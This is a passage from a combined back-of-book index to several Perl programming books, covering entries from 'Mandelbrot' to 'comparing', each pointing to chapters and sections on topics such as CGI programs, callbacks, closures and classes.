Mandelbrot code example : Advanced Perl Programming, 18.2. Example: Fractals with Perl
XS and C++
Advanced Perl Programming, 18.4.5. C++ Code
Advanced Perl Programming, 20.5.5. C++ Objects and XS Typemaps
CacheControl property (Response object) : Perl in a Nutshell, 20.2.2.2. Response properties
cacheout()
Perl Cookbook, 7.17. Caching Open Output Filehandles
Programming Perl, 7.2.32. FileCache - Keep More Files Open Than the System Permits
caching open filehandles : Perl Cookbook, 7.17. Caching Open Output Filehandles
cacls.exe program : Learning Perl on Win32 Systems, 13.4. Modifying Permissions
calc_new_date() : Perl Cookbook, 3.4. Adding to or Subtracting from a Date
calc_new_date_time() : Perl Cookbook, 3.4. Adding to or Subtracting from a Date
calculating prime numbers : Perl Cookbook, 2.19. Program: Calculating Prime Factors
calculator, eval for (example) : Advanced Perl Programming, 5.4. Using Eval for Expression Evaluation
callbacks
Advanced Perl Programming, 4.2. Using Subroutine References
Advanced Perl Programming, 13.1.1.1. Msg: Send-side routines
associating with button clicks : Advanced Perl Programming, 14.3.2. Labels and Buttons
closures for : Advanced Perl Programming, 4.4.1. Using Closures as "Smart" Callbacks
objects as : Advanced Perl Programming, 4.4.3. Closures Versus Objects
widgets and
Advanced Perl Programming, 14.6. Event Bindings
Perl in a Nutshell, 18.1.3. Callbacks
caller()
Advanced Perl Programming, B.8. Meta-Information
Perl Cookbook, 10.4. Determining Current Function Name
Perl Cookbook, 12.5. Determining the Caller's Package
Perl in a Nutshell, Chapter 5, Reference: caller
Programming Perl, 3.2.10. caller
Programming Perl, 8.1.6. Debugger Internals
Programming Perl, 8.2.7. Previous Perl Traps
Camel Book
Learning Perl, D.5. Many, Many More Functions
Learning Perl on Win32 Systems, D.5. Many, Many More Functions
Learning Perl on Win32 Systems, 1.4. Support
Learning Perl on Win32 Systems, 16.2. Packing and Unpacking Binary Data
Learning Perl on Win32 Systems, 17.5. Variable-Length (Text) Databases
Camel image
Perl in a Nutshell, 1.4.9. Books
Perl in a Nutshell, Acknowledgments
can function : Advanced Perl Programming, 7.3. UNIVERSAL
can() (UNIVERSAL) : Perl Cookbook, 13.7. Calling Methods Indirectly
cancel() (Mail::Send) : Perl in a Nutshell, Chapter 14, Reference: cancel
CancelConnection() (Win32::NetResource) : Perl in a Nutshell, Chapter 19, Reference: CancelConnection
canon() (Mail::Address) : Perl in a Nutshell, Chapter 14, Reference: canon
canonical name : Learning Perl, 16.3. Getting Network Information
CanonicalizeURL() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: CanonicalizeURL
Canvas widgets (Perl/Tk)
Advanced Perl Programming, A.2. Canvas
Advanced Perl Programming, 14.3.4. Canvas
Perl in a Nutshell, 18.12. The Canvas Widget
Tetris GUI (example) : Advanced Perl Programming, 15. GUI Example: Tetris
Cap module : Programming Perl, 7.2.64. Term::Cap - Terminal Capabilities Interface
Capini, Aldo : Perl in a Nutshell, 19. Win32 Modules and Extensions
capitalization : (see case/capitalization)
caret : (see ^ (caret))
Carp module
Perl Cookbook, 12.12. Reporting Errors and Warnings Like Built-Ins
Perl in a Nutshell, 8.24. Carp
Programming Perl, 7.2.5. Carp - Generate Error Messages
carriage returns : (see line breaks; whitespace)
cascade() (Menubutton) : Perl in a Nutshell, 18.14.2. Menubutton Methods
cascade menu entries : Perl Cookbook, 15.14. Creating Menus with Tk
case/capitalization
Programming Perl, 2.3.1. Variables
Programming Perl, 3.2.177. uc
case-insensitive hashes : Perl Cookbook, 13.15. Creating Magic Variables with tie
changing
Perl Cookbook, 1.9. Controlling Case
Programming Perl, 2.4.2. Pattern-Matching Operators
escape sequences for : Programming Perl, 2.3.2.2. String literals
honoring locale when matching : Perl Cookbook, 6.12. Honoring Locale Settings in Regular Expressions
ignoring case
Learning Perl, 1.5.7. Handling Varying Input Formats
Learning Perl, 7.5. Substitutions
Learning Perl on Win32 Systems, 1.6.7. Handling Varying Input Formats
Learning Perl on Win32 Systems, 7.5. Substitutions
with -i flag (Perl) : Learning Perl, 7.4.2. Ignoring Case
lc function : Programming Perl, 3.2.82. lc
lcfirst function
Perl in a Nutshell, Chapter 5, Reference: lcfirst
Programming Perl, 3.2.82. lc
package/module names : Programming Perl, 8.4. Programming with Style
pattern matching
Programming Perl, 2.4.1.4. Regular expression extensions
Programming Perl, 2.4.2. Pattern-Matching Operators
uppercase for filehandles
Learning Perl, 1.5.10. Moving the Secret Word List into a Separate File
Learning Perl on Win32 Systems, 1.6.10. Moving the Secret Word List into a Separate File
variable names : Learning Perl, 2.5. Scalar Variables
case structure : Programming Perl, 2.6.5. Bare Blocks and Case Structures
CASE tools : Advanced Perl Programming, 17.1. On Code Generation
cbreak mode
Perl Cookbook, 15.6. Reading from the Keyboard
Programming Perl, 3.2.43. getc
cc() (Mail::Send) : Perl in a Nutshell, Chapter 14, Reference: cc
cd command : Learning Perl, 12.1. Moving Around the Directory Tree
Cd() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: Cd
cdup() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: cdup
ceil() : Perl Cookbook, 2.3. Rounding Floating-Point Numbers
centering : Programming Perl, 2.8.1. Format Variables
cget() (Perl/Tk)
Advanced Perl Programming, 14.3.2. Labels and Buttons
Perl in a Nutshell, 18.1.1.2. The cget method
:cgi, :cgi-lib method groups
Learning Perl, 19.5. Less Typing
Perl in a Nutshell, 10.2. Importing Method Groups
CGI modules : Perl in a Nutshell, 8.25. CGI
CGI.pm module
Learning Perl, 19.1. The CGI.pm Module
Learning Perl, 19.5. Less Typing
objects in : Learning Perl, 19.8.2. Objects in CGI.pm
CGI::Apache module : Perl in a Nutshell, 8.26. CGI::Apache
CGI::Carp module
Perl Cookbook, 19.2. Redirecting Error Messages
Perl in a Nutshell, 8.27. CGI::Carp
CGI::Cookie module : Perl in a Nutshell, 8.28. CGI::Cookie
CGI::Fast module
Learning Perl, 19.10.2. Embedded Perl
Perl in a Nutshell, 8.29. CGI::Fast
CGI::Push module : Perl in a Nutshell, 8.30. CGI::Push
CGI::Switch module : Perl in a Nutshell, 8.31. CGI::Switch
CGI programs
Perl Cookbook, 19.0. Introduction
Perl Cookbook, 19.1. Writing a CGI Script
Learning Perl, 19. CGI Programming
Learning Perl, 19.2. Your CGI Program in Context
Learning Perl, 19.10. Perl and the Web: Beyond CGI Programming
Learning Perl on Win32 Systems, 18. CGI Programming
Perl in a Nutshell, 9. CGI Overview
cgi-bin directory
Learning Perl, 19.3. Simplest CGI Program
Learning Perl, 19.9. Troubleshooting CGI Programs
CGI.pm module
Learning Perl, 19.1. The CGI.pm Module
Learning Perl, 19.5. Less Typing
objects in : Learning Perl, 19.8.2. Objects in CGI.pm
chemiserie program (example) : Perl Cookbook, 19.14. Program: chemiserie
convenience functions : Learning Perl, 19.5. Less Typing
cookies : Perl Cookbook, 19.10. Managing Cookies
debugging
Perl Cookbook, 19.9. Debugging the Raw HTTP Exchange
Perl in a Nutshell, 10.6. Debugging
environment variables for : Perl in a Nutshell, 9.4. CGI Environment Variables
errors
Perl Cookbook, 19.2. Redirecting Error Messages
Perl Cookbook, 19.3. Fixing a 500 Server Error
example CGI interaction : Perl in a Nutshell, 9.1. A Typical CGI Interaction
extra path information : Perl in a Nutshell, 9.3. Extra Path Information
HTTP methods
Perl Cookbook, 19.0. Introduction
Perl Cookbook, 19.1. Writing a CGI Script
guestbook program (example) : Learning Perl, 19.8. Creating a Guestbook Program
import tags : Learning Perl, 19.5. Less Typing
improving efficiency of : Perl Cookbook, 19.5. Making CGI Scripts Efficient
maintaining state : Perl in a Nutshell, 10.3. Maintaining State
multiscreen scripts : Perl Cookbook, 19.12. Writing a Multiscreen CGI Script
named parameters : Perl in a Nutshell, 10.4. Named Parameters
passing parameters via : Learning Perl, 19.4. Passing Parameters via CGI
permissions and
Learning Perl, 19.8. Creating a Guestbook Program
Learning Perl, 19.9. Troubleshooting CGI Programs
redirecting requests : Perl Cookbook, 19.8. Redirecting to a Different Location
references
Learning Perl, 19.7.1. References
Learning Perl, 19.11. Further Reading
running with mod_perl : Perl in a Nutshell, 11.4. Running CGI Scripts with mod_perl
saving/mailing HTML forms : Perl Cookbook, 19.13. Saving a Form to a File or Mail Pipe
scrolling lists : Learning Perl, 19.7.2. Fancier Calling Sequences
security and
Perl Cookbook, 19.0. Introduction
Perl Cookbook, 19.4. Writing a Safe CGI Program
executing user commands : Perl Cookbook, 19.6. Executing Commands Without Shell Escapes
sticky widgets : Perl Cookbook, 19.11. Creating Sticky Widgets
troubleshooting : Learning Perl, 19.9. Troubleshooting CGI Programs
URL encoding : Perl in a Nutshell, 9.2. URL Encoding
CGI.pm module
Perl Cookbook, 19.0. Introduction
Perl Cookbook, 19.1. Writing a CGI Script
Learning Perl, 19.1. The CGI.pm Module
Learning Perl, 19.5. Less Typing
Learning Perl on Win32 Systems, 18.1. The CGI.pm Module
Perl in a Nutshell, 9. CGI Overview
Perl in a Nutshell, 10. The CGI.pm Module
debugging scripts : Perl in a Nutshell, 10.6. Debugging
generating HTML tags : Perl in a Nutshell, 10.1. HTML Tag Generation
HTML formatting shortcuts : Perl Cookbook, 19.7. Formatting Lists and Tables with HTML Shortcuts
importing method groups : Perl in a Nutshell, 10.2. Importing Method Groups
JavaScript features with : Perl in a Nutshell, 10.5. Using JavaScript Features
managing cookies : Perl Cookbook, 19.10. Managing Cookies
named parameters : Perl in a Nutshell, 10.4. Named Parameters
objects in : Learning Perl, 19.8.2. Objects in CGI.pm
changed web pages, links in : Perl Cookbook, 20.8. Finding Fresh Links
ChangeNotify module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
ChangeType() (Win32::OLE::Variant) : Perl in a Nutshell, Chapter 19, Reference: ChangeType
changing directories : Learning Perl, 12.1. Moving Around the Directory Tree
character classes
Learning Perl, 7.3.1. Single-Character Patterns
Perl in a Nutshell, 4.6.4. Character Classes
Programming Perl, 1.7. Regular Expressions
Programming Perl, 2.4.1.2. The rules of regular expression matching
characters
(see also patterns)
Programming Perl, 2.4.1.2. The rules of regular expression matching
$[ variable : Programming Perl, 2.9.3. Global Special Variables
case of : (see case/capitalization)
converting ASCII to/from HTML : Perl Cookbook, 20.4. Converting ASCII to HTML
converting ASCII with values : Perl Cookbook, 1.4. Converting Between ASCII Characters and Values
deleting : Programming Perl, 3.2.13. chomp
escaping : Perl Cookbook, 1.13. Escaping Characters
getting ASCII values of : Programming Perl, 3.2.104. ord
getting from ASCII values : Programming Perl, 3.2.16. chr
hexadecimal : (see hexadecimal numbers)
literal : Programming Perl, 2.4.1.1. The regular expression bestiary
matching letters : Perl Cookbook, 6.2. Matching Letters
metacharacters : (see metacharacters)
multiple-byte, matching : Perl Cookbook, 6.18. Matching Multiple-Byte Characters
octal : (see octal characters)
parsing command-line arguments : Perl Cookbook, 15.1. Parsing Program Arguments
processing individually : Perl Cookbook, 1.5. Processing a String One Character at a Time
prototype : Programming Perl, 2.7.3. Prototypes
ranges, in regular expressions : Learning Perl, 7.3.1. Single-Character Patterns
reversing : Perl Cookbook, 1.6. Reversing a String by Word or Character
setting character set : Programming Perl, 7.2.37. I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale
single-character input : Programming Perl, 3.2.43. getc
special : Programming Perl, 2.4.1.2. The rules of regular expression matching
text color, changing : Perl Cookbook, 15.5. Changing Text Color
whitespace : (see whitespace)
Charset property (Response object) : Perl in a Nutshell, 20.2.2.2. Response properties
chdir function
Programming Perl, 3.2.11. chdir
Programming Perl, 7.2.7. Cwd - Get Pathname of Current Working Directory
chdir()
Learning Perl, A.11. Chapter 12, Directory Access
Learning Perl, 12.1. Moving Around the Directory Tree
Learning Perl on Win32 Systems, 12.1. Moving Around the Directory Tree
Perl in a Nutshell, Chapter 5, Reference: chdir
example of : Learning Perl on Win32 Systems, A.11. Chapter 12, Directory Access
checkbox() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: checkbox
checkbox_group() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: checkbox_group
checkbutton() (Menubutton) : Perl in a Nutshell, 18.14.2. Menubutton Methods
checkbutton menu entries : Perl Cookbook, 15.14. Creating Menus with Tk
checkbuttons
Advanced Perl Programming, A.1.2. Checkbutton
Advanced Perl Programming, 14.3.3. Radiobuttons and Checkbuttons
Perl in a Nutshell, 18.5. The Checkbutton Widget
checking
hosts if online : Programming Perl, 7.2.46. Net::Ping - Check Whether a Host Is Online
MANIFEST file : Programming Perl, 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
taint : (see taint checking)
checksums : Programming Perl, 3.2.182. unpack
CheckTree module
Perl in a Nutshell, 8.69. File::CheckTree
Programming Perl, 7.2.28. File::CheckTree - Run Many Tests on a Collection of Files
checkuser program (example) : Perl Cookbook, 15.10. Reading Passwords
chemiserie program (example) : Perl Cookbook, 19.14. Program: chemiserie
child processes
(see processes)
Advanced Perl Programming, 12.3.1. Multiple Threads of Execution
Learning Perl, 14.4. Using fork
$CHILD_ERROR ($?) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Chili's
Learning Perl, Acknowledgments for the First Edition
Learning Perl on Win32 Systems, Acknowledgments for First Edition
CHLD signal : Advanced Perl Programming, 12.3.1. Multiple Threads of Execution
chmod command
Learning Perl, 13.5. Modifying Permissions
Learning Perl on Win32 Systems, 13.4. Modifying Permissions
Perl in a Nutshell, Chapter 5, Reference: chmod
Programming Perl, 3.2.12. chmod
chomp()
Learning Perl on Win32 Systems, 1.6.2. Asking Questions and Remembering the Result
Learning Perl on Win32 Systems, 3.4.7. The chomp Function
Perl in a Nutshell, Chapter 5, Reference: chomp
Programming Perl, 1.4. Filehandles
Programming Perl, 3.2.13. chomp
examples of
Learning Perl on Win32 Systems, 1.6.10. Moving the Secret Word List into a Separate File
Learning Perl on Win32 Systems, 1.6.17. The Final Programs
Learning Perl on Win32 Systems, 10.5. Using Filehandles
chop()
(see also chomp())
Learning Perl, 1.5.2. Asking Questions and Remembering the Result
Learning Perl, 2.6.3. The chop and chomp Functions
Learning Perl, 3.4.7. The chomp Function
Learning Perl on Win32 Systems, 2.6.3. The chop() and chomp() Functions
Perl in a Nutshell, Chapter 5, Reference: chop
Programming Perl, 1.4. Filehandles
Programming Perl, 3.2.14. chop
examples of
Learning Perl, A.1. Chapter 2, Scalar Data
Learning Perl, 1.5.10. Moving the Secret Word List into a Separate File
Learning Perl, 1.5.17. The Final Programs
Learning Perl, 2.7. <STDIN> as a Scalar Value
Learning Perl, 10.4. Using Filehandles
Learning Perl on Win32 Systems, A.1. Chapter 2, Scalar Data
Learning Perl on Win32 Systems, 2.7. <STDIN> as a Scalar Value
ChopBlanks attribute (DBI) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
chown()
Learning Perl, 13.6. Modifying Ownership
Perl in a Nutshell, Chapter 5, Reference: chown
Programming Perl, 3.2.15. chown
chr()
Perl Cookbook, 1.4. Converting Between ASCII Characters and Values
Learning Perl, 16.2. Packing and Unpacking Binary Data
Perl in a Nutshell, Chapter 5, Reference: chr
Programming Perl, 3.2.16. chr
Christiansen, Tom
Advanced Perl Programming, 2. Implementing Complex Data Structures
Advanced Perl Programming, 2.6. Resources
Advanced Perl Programming, 4.4.3. Closures Versus Objects
Advanced Perl Programming, 5.6. Using Eval for Time-Outs
Perl in a Nutshell, 1.4.4. www.perl.com
chroot()
Perl in a Nutshell, Chapter 5, Reference: chroot
Programming Perl, 3.2.17. chroot
circle, circumference of : Learning Perl, 2.10. Exercises
circular data structures : Perl Cookbook, 13.13. Coping with Circular Data Structures
circular lists : Perl Cookbook, 4.16. Implementing a Circular List
circular references
Advanced Perl Programming, 1.6.1. Reference Counts
Programming Perl, 5.3.9. A Note on Garbage Collection
class attributes
Advanced Perl Programming, 7.2.5. Class Methods and Attributes
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.4. Managing Class Data
class context : Programming Perl, 5.5.9. Class Context and the Object
class data
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.4. Managing Class Data
circular data structures : Perl Cookbook, 13.13. Coping with Circular Data Structures
class methods
Advanced Perl Programming, 7.2.5. Class Methods and Attributes
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.4. Managing Class Data
Learning Perl, 19.8.1. Object-Oriented Programming in Perl
Perl in a Nutshell, 7.4. Object Syntax
Programming Perl, 5.3.1. Brief Refresher on Object-Oriented Programming
Programming Perl, 5.3.5.1. Class methods
-class option
Frame widget : Perl in a Nutshell, 18.17. The Frame Widget
toplevel widget : Perl in a Nutshell, 18.18. The Toplevel Widget
Class::Struct module
Perl Cookbook, 13.5. Using Classes as Structs
Perl in a Nutshell, 8.32. Class::Struct
classes
Perl Cookbook, 13.0. Introduction
Learning Perl, 19.8.1. Object-Oriented Programming in Perl
Programming Perl, 5. Packages, Modules, and Object Classes
Programming Perl, 5.3.1. Brief Refresher on Object-Oriented Programming
Programming Perl, 5.3.4. A Class Is Simply a Package
Programming Perl, 5.5.9. Class Context and the Object
accessing overridden methods : Perl Cookbook, 13.10. Accessing Overridden Methods
base : (see base classes)
determining subclass membership : Perl Cookbook, 13.8. Determining Subclass Membership
functions for : Perl in a Nutshell, 5.1. Perl Functions by Category
generating methods with AUTOLOAD
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.11. Generating Attribute Methods Using AUTOLOAD
inheritance
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.9. Writing an Inheritable Class
Perl Cookbook, 13.12. Solving the Data Inheritance Problem
in Java : Advanced Perl Programming, 6.9.4. Java
overriding : Advanced Perl Programming, 7.2.6.1. Overriding base classes
package
Programming Perl, 3.2.171. tie
Programming Perl, 3.2.184. untie
as structs : Perl Cookbook, 13.5. Using Classes as Structs
superclasses (base classes) : Advanced Perl Programming, 7.2.6. The Need for Inheritance
using as base class : Programming Perl, 5.5.1. Object-Oriented Scaling Tips
clean command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: clean
cleaning up modules : Perl Cookbook, 12.6. Automating Module Clean-Up
clear()
document object, PerlScript : Perl in a Nutshell, 20.1.1.1. Document methods
HTTP::Cookies module : Perl in a Nutshell, Chapter 17, Reference: clear
Clear()
Response object, PerlScript : Perl in a Nutshell, 20.2.2.3. Response methods
Win32::EventLog module : Perl in a Nutshell, Chapter 19, Reference: Clear
clear command : Perl Cookbook, 15.3. Clearing the Screen
clear_label() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: clear_label
CLEAR method : Programming Perl, 5.4.3. Tying Hashes
clearallcache() routine : Programming Perl, 7.2.4. Benchmark - Check and Compare Running Times of Code
clearcache() routine : Programming Perl, 7.2.4. Benchmark - Check and Compare Running Times of Code
clearerr() : Perl Cookbook, 8.5. Trailing a Growing File
client() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
client-side PerlScript
Perl in a Nutshell, 20. PerlScript
Perl in a Nutshell, 20.1. Client-Side PerlScript
client-side socket connections
Perl in a Nutshell, 13.1.2. Client Connections
Perl in a Nutshell, 13.2.1. Client-Side Sockets
ClientCertificate collection : Perl in a Nutshell, 20.2.1. The Request Object
clients
bidirectional : Perl Cookbook, 17.10. Writing Bidirectional Clients
FTP : Perl Cookbook, 18.2. Being an FTP Client
handling multiple : Advanced Perl Programming, 12.3. Handling Multiple Clients
networking : Learning Perl on Win32 Systems, C. Networking Clients
prebuilt modules for : Advanced Perl Programming, 12.6. Prebuilt Client Modules
TCP
Perl Cookbook, 17.1. Writing a TCP Client
Programming Perl, 6.2.4.1. Internet TCP clients and servers
UDP : Perl Cookbook, 17.4. Setting Up a UDP Client
Clipboard module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
clipboard, manipulating : Perl in a Nutshell, 19.1. Win32::Clipboard
clobbering values : Perl Cookbook, 1.3. Exchanging Values Without Using Temporary Variables
clockdrift program (example) : Perl Cookbook, 17.4. Setting Up a UDP Client
Clone() (Win32::OLE::Enum) : Perl in a Nutshell, Chapter 19, Reference: Clone
clone()
HTTP::Headers module : Perl in a Nutshell, Chapter 17, Reference: clone
HTTP::Message module : Perl in a Nutshell, Chapter 17, Reference: clone
LWP::UserAgent module : Perl in a Nutshell, Chapter 17, Reference: clone
cloning parent objects : Perl Cookbook, 13.6. Cloning Objects
close()
Perl Cookbook, 7.0. Introduction
Perl Cookbook, 7.19. Opening and Closing File Descriptors by Number
Learning Perl, 10.2. Opening and Closing a Filehandle
Perl in a Nutshell, Chapter 5, Reference: close
Perl in a Nutshell, 4.9. Filehandles
Programming Perl, 3.2.18. close
Programming Perl, 6.2.2.1. Anonymous pipes
document object (PerlScript) : Perl in a Nutshell, 20.1.1.1. Document methods
examples of
Learning Perl, 1.5.10. Moving the Secret Word List into a Separate File
Learning Perl, 1.5.17. The Final Programs
Learning Perl on Win32 Systems, 1.6.10. Moving the Secret Word List into a Separate File
file locks and : Perl Cookbook, 7.11. Locking a File
Mail::Folder module : Perl in a Nutshell, Chapter 14, Reference: close
Mail::Mailer module : Perl in a Nutshell, Chapter 14, Reference: close
Mail::Send module : Perl in a Nutshell, Chapter 14, Reference: close
process-filehandles : Learning Perl, 14.3. Using Processes as Filehandles
Win32::ChangeNotification module : Perl in a Nutshell, Chapter 19, Reference: close
Close()
Mail::POP3Client module
Perl in a Nutshell, Chapter 14, Reference: Close
Perl in a Nutshell, 14.2.8.6. Explicitly opening and closing connections
Win32::Internet module : Perl in a Nutshell, Chapter 19, Reference: Close
Win32::Shortcut module : Perl in a Nutshell, Chapter 19, Reference: Close
closedir()
Perl Cookbook, 9.0. Introduction
Learning Perl, A.11. Chapter 12, Directory Access
Learning Perl, 12.4. Opening and Closing a Directory Handle
Learning Perl on Win32 Systems, 12.4. Opening and Closing a Directory Handle
Perl in a Nutshell, Chapter 5, Reference: closedir
Programming Perl, 3.2.19. closedir
Programming Perl, 7.2.11. DirHandle - Supply Object Methods for Directory Handles
example of : Learning Perl on Win32 Systems, A.11. Chapter 12, Directory Access
-closeenough option (Canvas) : Perl in a Nutshell, 18.12. The Canvas Widget
closelog() : Programming Perl, 7.2.63. Sys::Syslog - Perl Interface to UNIX syslog(3) Calls
closing file descriptors : Perl Cookbook, 7.19. Opening and Closing File Descriptors by Number
closures
Advanced Perl Programming, 4.3. Closures
Advanced Perl Programming, 20.3.5.3. Closures
Perl Cookbook, 10.16. Nesting Subroutines
Perl Cookbook, 11.4. Taking References to Functions
Perl Cookbook, 12.13. Referring to Packages Indirectly
Programming Perl, 4.3.6. Closures
as objects : Perl Cookbook, 11.7. Using Closures Instead of Objects
objects versus : Advanced Perl Programming, 4.4.3. Closures Versus Objects
syntax : Advanced Perl Programming, B.3. Closures
Cls() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: Cls
CLSID : Learning Perl on Win32 Systems, 19.2. Creating Automation Objects
clustering command-line options : Programming Perl, 7.2.36. Getopt::Std - Process Single-Character Options with Option Clustering
cmd3sel program (example) : Perl Cookbook, 16.9. Controlling the Input, Output, and Error of Another Program
cmp operator
Perl Cookbook, 4.14. Sorting an Array Numerically
Learning Perl, 15.4. Advanced Sorting
Programming Perl, 3.2.153. sort
examples of
Learning Perl, A.14. Chapter 15, Other Data Transformation
Learning Perl, A.15. Chapter 16, System Database Access
COBOL
Advanced Perl Programming, 1. Data References and Anonymous Storage
Learning Perl, 11.1. What Is a Format?
Learning Perl, 18.3. Converting Shell Programs to Perl
Learning Perl on Win32 Systems, 11.1. What Is a Format?
code
code values (CVs) : Advanced Perl Programming, 20.3.5. Code Values
effienciency of : Programming Perl, 8.3.3. Programmer Efficiency
examples, obtaining : Programming Perl, 8.5.2. Examples
generation : Advanced Perl Programming, 17.1. On Code Generation
input specification parser
Advanced Perl Programming, 17.2. Jeeves Example
Advanced Perl Programming, 17.3.1. Advantages of This Architecture
Advanced Perl Programming, 17.5. Sample Specification Parser
Jeeves framework
Advanced Perl Programming, 17.2. Jeeves Example
Advanced Perl Programming, 17.3. Jeeves Overview
stages of : Advanced Perl Programming, 20.2.2.2. Compilation and code generation stages
hand-coding XSUBs : Advanced Perl Programming, 20.4.2. The Called Side: Hand-Coding an XSUB
listing : Programming Perl, 8.1.1. Debugger Commands
perlmain.c : Programming Perl, 7.2.20. ExtUtils::Miniperl - Write the C Code for perlmain.c
reusing
Programming Perl, 5.5.8. Thinking of Code Reuse
Programming Perl, 8.4. Programming with Style
running times for : Programming Perl, 7.2.4. Benchmark - Check and Compare Running Times of Code
safe namspaces for : Programming Perl, 7.2.51. Safe - Create Safe Namespaces for Evaluating Perl Code
code() (HTTP::Response) : Perl in a Nutshell, Chapter 17, Reference: code
CODE directive (XS) : Advanced Perl Programming, 18.4.4. Special Code
code size, library : Perl Cookbook, 14.0. Introduction
Coke : Learning Perl, 2.3.2. Double-Quoted Strings
Collate module : Programming Perl, 7.2.37. I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale
collection objects
Perl in a Nutshell, 19.18.3. Win32::OLE::Enum
Perl in a Nutshell, 20.2.1. The Request Object
collision chaining : Advanced Perl Programming, 20.3.3.1. Inside HVs
colon : (see : (colon))
color() (Term::ANSIColor) : Perl Cookbook, 15.5. Changing Text Color
color of text, changing : Perl Cookbook, 15.5. Changing Text Color
colored() (Term::ANSIColor) : Perl Cookbook, 15.5. Changing Text Color
-colormap option
Frame widget : Perl in a Nutshell, 18.17. The Frame Widget
toplevel widget : Perl in a Nutshell, 18.18. The Toplevel Widget
colormapwindows() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
colors, widget
Advanced Perl Programming, 14.3.1.3. Colors
Perl in a Nutshell, 18.1.4. Colors and Fonts
column headers, in format : Learning Perl, 11.1. What Is a Format?
-column option (grid manager) : Perl in a Nutshell, 18.2.2. The grid Geometry Manager
columns
arranging du command output : Perl Cookbook, 5.16. Program: dutree
extracting from files (example) : Advanced Perl Programming, 5.5.2. Extracting Columns from a File
labeling
Learning Perl, 1.5.14. Listing the Secret Words
Learning Perl on Win32 Systems, 1.6.14. Listing the Secret Words
outputting sorting text in : Perl Cookbook, 4.18. Program: words
parsing data by : Perl Cookbook, 1.1. Accessing Substrings
wrapping paragraphs by : Perl Cookbook, 1.12. Reformatting Paragraphs
-columnspan option (grid manager) : Perl in a Nutshell, 18.2.2. The grid Geometry Manager
CombineURL() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: CombineURL
comma : (see , (comma))
comma operator : (see = (equal sign), => operator)
comma-separated values (CSV)
Perl Cookbook, 1.15. Parsing Comma-Separated Data
Perl Cookbook, 4.1. Specifying a List In Your Program
Perl Cookbook, 6.7. Reading Records with a Pattern Separator
command()
Frame widget : Perl in a Nutshell, 18.18.1. Toplevel Methods
Menubutton widget : Perl in a Nutshell, 18.14.2. Menubutton Methods
command entry (menu items) : Perl Cookbook, 15.14. Creating Menus with Tk
command input operator : (see ` (backquote))
command interpreters
Perl Cookbook, 1.13. Escaping Characters
Programming Perl, 6.1. Cooperating with Command Interpreters
command line : Learning Perl, D.3. The Command Line
aliasing on : Advanced Perl Programming, 3.2.2.2. Aliasing on command lines
arguments : Learning Perl, 17.5. Variable-Length (Text) Databases
diamond operator and : Learning Perl, 6.2. Input from the Diamond Operator
command-line options
Perl Cookbook, 15.1. Parsing Program Arguments
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 7.2.35. Getopt::Long - Extended Processing of Command-Line Options
Programming Perl, 7.2.36. Getopt::Std - Process Single-Character Options with Option Clustering
-command option : Perl in a Nutshell, 18.1.3. Callbacks
Button widget : Perl in a Nutshell, 18.4. The Button Widget
Checkbutton widget : Perl in a Nutshell, 18.5. The Checkbutton Widget
Menubutton widget : Perl in a Nutshell, 18.14.1. Menu Item Options
Optionmenu widget : Perl in a Nutshell, 18.16. The Optionmenu Widget
Radiobutton widget : Perl in a Nutshell, 18.6. The Radiobutton Widget
Scale widget : Perl in a Nutshell, 18.13. The Scale Widget
Scrollbar widget : Perl in a Nutshell, 18.9. The Scrollbar Widget
command property : (see widgets)
commands
buffering : Programming Perl, 2.9.2. Per-Filehandle Special Variables
command history, debugger and : Programming Perl, 8.1.2. Using the Debugger
for loop control : Programming Perl, 2.6.4.4. Loop control
names for : Programming Perl, 1.2.2. Verbs
Perl debugger
Perl in a Nutshell, 6.2. Debugger Commands
Programming Perl, 8.1.1. Debugger Commands
processing
Perl in a Nutshell, 3.1. Command Processing
Programming Perl, 6.1.1. Command Processing
shell : Programming Perl, 7.2.56. Shell - Run Shell Commands Transparently Within Perl
comment() (Mail::Address) : Perl in a Nutshell, Chapter 14, Reference: comment
comments
Learning Perl, 1.4. Basic Concepts
Learning Perl on Win32 Systems, 1.5. Basic Concepts
Perl in a Nutshell, 4.1. Program Structure
Programming Perl, 2.4.1.4. Regular expression extensions
Programming Perl, 8.2.4. C Traps
# (hash mark) for : Programming Perl, 2.4. Pattern Matching
pod documentation for modules : Perl Cookbook, 12.16. Documenting Your Module with Pod
in regular expressins : Perl Cookbook, 6.4. Commenting Regular Expressions
commify() (example) : Perl Cookbook, 2.17. Putting Commas in Numbers
commify_series program (example) : Perl Cookbook, 4.2. Printing a List with Commas
commit() (DBI) : Perl in a Nutshell, Chapter 12, Reference: commit
commit_transaction function : Advanced Perl Programming, 11.1. Adaptor: An Introduction
Common Gateway Interface : (see CGI programs)
Common Log Format standard : Perl Cookbook, 20.12. Parsing a Web Server Log File
communications endpoints : (see sockets)
comp.lang.perl newsgroups
Learning Perl, Support
Programming Perl, Usenet Newsgroups
compare() (Text widget) : Perl in a Nutshell, 18.11.2. Text Methods
comparing
in awk, versus in Perl : Programming Perl, 6.4.2.2. a2p
floating-point numbers : Perl Cookbook, 2.2. Comparing Floating-Point Numbers
